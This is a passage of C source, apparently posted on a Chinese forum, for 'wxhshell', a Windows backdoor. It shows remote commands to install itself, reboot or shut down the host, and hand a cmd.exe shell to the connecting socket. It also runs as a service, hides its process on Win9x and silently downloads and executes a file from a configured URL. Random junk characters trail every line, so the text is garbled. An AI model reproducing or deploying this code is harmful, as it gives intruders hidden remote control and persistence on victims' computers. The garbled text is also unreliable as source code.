  case '?': { gl]{mUZz}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~JC``&6E=}  
    break; =b`>ggw#  
  } *ZN"+ wf\  
  // 安装 6K`frt  
  case 'i': { K<|b>PI.s  
    if(Install()) E8%O+x}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<<vHzm  
    else v]VIUVd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +BzKO >  
    break; F<'g6 f  
    } W!IK>IW"  
  // 卸载 Bct>EWQ  
  case 'r': { ShCAkaj_  
    if(Uninstall()) rzqCQZHL5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oWXvkDN   
    else  |2n2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"+Ygvxb  
    break; w'L;`k;Q  
    } WU=Os8gR  
  // 显示 wxhshell 所在路径 dZnq 96<:|  
  case 'p': { _^SNI~  
    char svExeFile[MAX_PATH]; VaX>tUW  
    strcpy(svExeFile,"\n\r"); yGS._;#R  
      strcat(svExeFile,ExeFile); hfEGkaV._3  
        send(wsh,svExeFile,strlen(svExeFile),0); W >B:W0A  
    break; H2k>E}`  
    } xss D2*l  
  // 重启 ?5/Sa  
  case 'b': { f3yZx!K_Br  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zqx5I~  
    if(Boot(REBOOT)) t$Qav>D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%t8cJ L  
    else { Q^mJ_~  
    closesocket(wsh); t5 5k#`Z  
    ExitThread(0); {BKI8vy  
    } (F_#LeJ|  
    break; 9KAXc(-  
    } { 0Leua  
  // 关机 M%$zor  
  case 'd': { ^-=,q.[7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lHP[WO  
    if(Boot(SHUTDOWN))  Rl 6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xY_/CR[,  
    else { I.(/j  
    closesocket(wsh); RYvS,hf 6z  
    ExitThread(0); $e<3z6  
    } lT$A;7[  
    break; Y|1kE;  
    } F;MFw2G  
  // 获取shell eb:uh!  
  case 's': { B-eYWt8s  
    CmdShell(wsh); 81aY*\  
    closesocket(wsh); HYpB]<F  
    ExitThread(0); 501|Y6ptl  
    break; [qid4S~r,&  
  } wAy;ZNu  
  // 退出 3YRhqp"E  
  case 'x': { #M8"b]oh6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )8e_<^M  
    CloseIt(wsh); WU}JArX9  
    break; 1Rwk}wL  
    } B23R9.FK  
  // 离开 *[_?4*F  
  case 'q': { ~W`upx)j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rY($+O@a<  
    closesocket(wsh); qFvtqv2  
    WSACleanup(); BIX%Bu0'f  
    exit(1); Y+WOU._46I  
    break; sFB; /*C  
        } +B*ygv:  
  } Oja)J-QXb  
  } RQ|!?\a=  
)2FS9h.t  
  // 提示信息 n;!t?jnf.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7eh}Je8  
} v>0xHQD*<M  
  } tS`fG;  
@KNp?2a  
  return; | \Qr cf  
} qb "H&)aHw  
:9K5zD  
// shell模块句柄 9j9A'Y9(  
int CmdShell(SOCKET sock) ]y!|x_5c3  
{ >#c]rk:  
STARTUPINFO si; ,?i#NN5p  
ZeroMemory(&si,sizeof(si)); bxEb2D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o_os;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tse(iX/D  
PROCESS_INFORMATION ProcessInfo; ~])\xC  
char cmdline[]="cmd"; Jp_{PR:&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =s1"<hH}O)  
  return 0; Wu:vO2aw8  
} r~TiJ?8I  
bIe>j*VPh@  
// 自身启动模式 &bnF{~<\  
int StartFromService(void) .U9NQwd  
{ PS(9?rX#+  
typedef struct 1 dI  
{ ma?569Z8~0  
  DWORD ExitStatus; vF3>nN(]  
  DWORD PebBaseAddress; ;STO!^9~  
  DWORD AffinityMask; _W tSZmW?  
  DWORD BasePriority; rb&^ei9B  
  ULONG UniqueProcessId; <}N0 y*m  
  ULONG InheritedFromUniqueProcessId; mMu3B2nke=  
}   PROCESS_BASIC_INFORMATION; ?nj _gL  
kn`KU.J.  
PROCNTQSIP NtQueryInformationProcess; p!U#53  
tkV:kh< L~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JL2IVENWc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lg_y1Mu7o  
pShSK Rg  
  HANDLE             hProcess; Rm)vY}v  
  PROCESS_BASIC_INFORMATION pbi; 7Cp>iWV  
Vg6?a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x-CY G?-x  
  if(NULL == hInst ) return 0; JB''Ujyi  
,N <;!6e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }B^s!y&b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E)H8jBm6w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9BNAj-Xa  
9%kY8#%SV  
  if (!NtQueryInformationProcess) return 0; : gv[X  
0%`\ 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m{(D*Vuqd  
  if(!hProcess) return 0; Y\sLwLLlG  
.l !:|Fd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /Eh\07p  
{foF[M  
  CloseHandle(hProcess); z`>a,X  
wC'KI8-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _6^vxlF  
if(hProcess==NULL) return 0; I2YQIY+  
_BtppQIWv  
HMODULE hMod; ~=Er= 0  
char procName[255]; T* -*U /  
unsigned long cbNeeded; )'DFDrY  
Q*(]&qr"E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); roj/GZAy"  
Qaq{UW  
  CloseHandle(hProcess); }_@cqx:n^  
VGWqy4m  
if(strstr(procName,"services")) return 1; // 以服务启动 .y+>-[j?B  
Wy)|-Q7  
  return 0; // 注册表启动 3f eI   
} 8Tt2T} Y  
iDp]l u  
// 主模块 0wAZ9AxA{  
int StartWxhshell(LPSTR lpCmdLine) %zb7M%dC6`  
{ yY[[)  
  SOCKET wsl; ;9=9D{-4+  
BOOL val=TRUE; UyD=x(li  
  int port=0; IOvYvFUUJ  
  struct sockaddr_in door; 1g2%f9G  
j)'V_@  
  if(wscfg.ws_autoins) Install(); @UkcvhH  
Z9~~vf#  
port=atoi(lpCmdLine); }Jh!B|  
XMa(XOnX  
if(port<=0) port=wscfg.ws_port; f*2V  
qaG%PH}a  
  WSADATA data; l \xIGs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e>uV8!u  
+_ K7x5g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9n |H%AC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K )KE0/ n  
  door.sin_family = AF_INET; u9N?B* &{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0N_Ma')i  
  door.sin_port = htons(port); IDdhBdQ  
`(W V pP?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s@^GjA[6+  
closesocket(wsl); 8 x|NR?  
return 1; O0WzDD  
} 3M+hjc.  
+@usJkxul  
  if(listen(wsl,2) == INVALID_SOCKET) { goIn7ei92  
closesocket(wsl); !@ai=p  
return 1; ~" }t8`vP1  
} VP0wa>50!  
  Wxhshell(wsl); YOP=gvZq  
  WSACleanup(); OHp 121  
)nQpO"+M  
return 0; UMx>n18;f9  
Z-Bw?_e_K  
} 2ai \("?  
} Yj ic4?  
// 以NT服务方式启动 t#6gjfIi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AM'-(x|  
{ kp xd+w  
DWORD   status = 0; }4A+J"M4y  
  DWORD   specificError = 0xfffffff; S7E:&E&  
y5|`B(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HQQc<7c ",  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @xSS`&b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1UyI.U]  
  serviceStatus.dwWin32ExitCode     = 0; 'JKFEUzM  
  serviceStatus.dwServiceSpecificExitCode = 0; J --9VlC'  
  serviceStatus.dwCheckPoint       = 0; l_>^LFOA  
  serviceStatus.dwWaitHint       = 0; w KXKc\r  
uJF,:}qA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -'5:Cq   
  if (hServiceStatusHandle==0) return; ,%v  
|DwI%%0(F  
status = GetLastError(); }y x'U 3  
  if (status!=NO_ERROR) Ko>pwhR}  
{ cDm_QYQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F2!_Z=  
    serviceStatus.dwCheckPoint       = 0; eaYQyMv@  
    serviceStatus.dwWaitHint       = 0; 2Z\6xb|u  
    serviceStatus.dwWin32ExitCode     = status; }yK_2zak5i  
    serviceStatus.dwServiceSpecificExitCode = specificError; UccnQZ7/I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %fJ*Ql4M  
    return; [-{L@  
  } aVM@^n  
) $#ov-]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e~i ?E  
  serviceStatus.dwCheckPoint       = 0; sn}U4=u  
  serviceStatus.dwWaitHint       = 0; 7'J}|m{7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _udH(NC  
} `.#e4 FBW  
Q<;f-9q @  
// 处理NT服务事件,比如:启动、停止 N6Vn/7I5%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TStu)6%`  
{ )?K3nr  
switch(fdwControl) hGcOk[m 4  
{ ^7.864  
case SERVICE_CONTROL_STOP: (SkI9[1\@3  
  serviceStatus.dwWin32ExitCode = 0; {h7*a=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z>wg o@z%  
  serviceStatus.dwCheckPoint   = 0; rgRh ySud  
  serviceStatus.dwWaitHint     = 0; k8GcHqNHx  
  { %)i?\(/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M9 fAv  
  } \T/~" w  
  return; N|h`}*:x=  
case SERVICE_CONTROL_PAUSE: s~Ni\SF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _E{SGbCCi  
  break; 8]YFlW9  
case SERVICE_CONTROL_CONTINUE: T]Vh]|_s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l$}h1&V7  
  break; CTD{!I(  
case SERVICE_CONTROL_INTERROGATE: _o8il3  
  break; `-hFk88  
}; 71z$a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EZ8Ih,j9  
} $f7#p4;}(  
 =SRp  
// 标准应用程序主函数 51*o&:eim  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) erdWGUfQOe  
{ PxM]3Aoa  
JrQd7  
// 获取操作系统版本 N>z_uPy{A  
OsIsNt=GetOsVer(); }mxy6m ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zb OEF  
w[^s) 1  
  // 从命令行安装 VuN= JX  
  if(strpbrk(lpCmdLine,"iI")) Install(); nBgksB*A  
)Jz L  
  // 下载执行文件 'ZgrN14  
if(wscfg.ws_downexe) { V&-pgxf;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b%2+g<UKh  
  WinExec(wscfg.ws_filenam,SW_HIDE); j="{^b  
} 0V uG(O  
DB We>Ef(  
if(!OsIsNt) { y[UTuFv~Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 q~^Jd=cB\  
HideProc(); |bk.gh  
StartWxhshell(lpCmdLine); 1mz;4xb  
} :rnn`/L  
else QmvhmsDL  
  if(StartFromService()) L~%@pf>  
  // 以服务方式启动 E?l_ *[G  
  StartServiceCtrlDispatcher(DispatchTable); )[|`-M~u  
else t4R=$ km  
  // 普通方式启动 qgbp-A!2zF  
  StartWxhshell(lpCmdLine); `PXSQf  
~e~iCyW;S  
return 0; FaYDa  
}
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只看该作者 1 发表于: 2006-10-10
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